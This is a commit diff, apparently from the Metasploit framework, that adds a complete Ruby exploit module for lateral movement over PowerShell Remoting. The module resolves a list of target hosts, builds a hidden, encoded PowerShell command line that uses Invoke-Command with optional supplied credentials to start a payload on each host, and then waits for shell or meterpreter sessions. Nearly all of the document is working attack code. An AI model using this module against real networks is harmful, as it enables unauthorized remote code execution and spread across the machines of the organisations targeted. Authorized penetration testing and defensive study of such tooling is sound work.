Lateral movement through PSRemoting
parent
65b9aa16e5
commit
b634bde8a1
|
@ -0,0 +1,153 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Powershell Remoting Remote Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
|
||||||
|
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
|
||||||
|
use a HOSTFILE to supply a list of known hostnames.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'Ben Campbell' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
||||||
|
[ 'OSVDB', '3106']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread'
|
||||||
|
},
|
||||||
|
'DisclosureDate' => 'Jan 01 1999',
|
||||||
|
'Platform' => [ 'win' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
|
||||||
|
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
|
||||||
|
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
|
||||||
|
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
|
||||||
|
OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
|
||||||
|
# Move this out of advanced
|
||||||
|
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||||
|
OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ])
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if !datastore['ExitOnSession'] && !job_id
|
||||||
|
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
|
||||||
|
end
|
||||||
|
|
||||||
|
unless datastore['RHOSTS'] || datastore['HOSTFILE']
|
||||||
|
fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore['SMBUser'] && datastore['SMBPass'].nil?
|
||||||
|
fail_with(Failure::BadConfig, "Need both username and password set.")
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore['RHOSTS']
|
||||||
|
ip_list = "$iplist="
|
||||||
|
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
|
||||||
|
ip_list << "'#{ip}',"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Remove trailing comma...
|
||||||
|
ip_list = ip_list[0..-2]
|
||||||
|
ip_list << ";"
|
||||||
|
end
|
||||||
|
|
||||||
|
known_hosts = ""
|
||||||
|
if datastore['HOSTFILE']
|
||||||
|
::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
|
||||||
|
hostname.strip!
|
||||||
|
known_hosts << "'#{hostname}'," unless hostname.blank?
|
||||||
|
end
|
||||||
|
known_hosts = known_hosts[0..-2]
|
||||||
|
end
|
||||||
|
|
||||||
|
command = cmd_psh_payload(payload.encoded,
|
||||||
|
payload_instance.arch.first,
|
||||||
|
encode_final_payload: true,
|
||||||
|
remove_comspec: true)
|
||||||
|
|
||||||
|
ps = <<EOF
|
||||||
|
#{generate_credentials}
|
||||||
|
$ResultList=@(#{known_hosts});
|
||||||
|
#{ip_list}
|
||||||
|
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
|
||||||
|
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
|
||||||
|
EOF
|
||||||
|
|
||||||
|
if datastore['SMBUser']
|
||||||
|
ps << " -Credential $creds"
|
||||||
|
end
|
||||||
|
|
||||||
|
# If the host process terminates too quickly the jobs will die
|
||||||
|
# before they spawn in a new process.
|
||||||
|
ps << ";Sleep 20;"
|
||||||
|
ps.gsub!("\n", "")
|
||||||
|
|
||||||
|
command = generate_psh_command_line(
|
||||||
|
noprofile: true,
|
||||||
|
windowstyle: 'hidden',
|
||||||
|
command: ps
|
||||||
|
)
|
||||||
|
|
||||||
|
print_status("Executing command...")
|
||||||
|
begin
|
||||||
|
cmd_exec(command)
|
||||||
|
rescue Rex::TimeoutError
|
||||||
|
end
|
||||||
|
|
||||||
|
stime = Time.now.to_f
|
||||||
|
loop do
|
||||||
|
break if session_created? && datastore['ExitOnSession']
|
||||||
|
break if datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f)
|
||||||
|
|
||||||
|
Rex.sleep(1)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass'])
|
||||||
|
creds = ""
|
||||||
|
|
||||||
|
unless user.nil?
|
||||||
|
creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\
|
||||||
|
"$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
|
||||||
|
if domain.nil?
|
||||||
|
creds << "'#{user}'"
|
||||||
|
else
|
||||||
|
creds << "'#{domain}\\#{user}'"
|
||||||
|
end
|
||||||
|
|
||||||
|
creds << ",$pass;"
|
||||||
|
end
|
||||||
|
|
||||||
|
creds
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue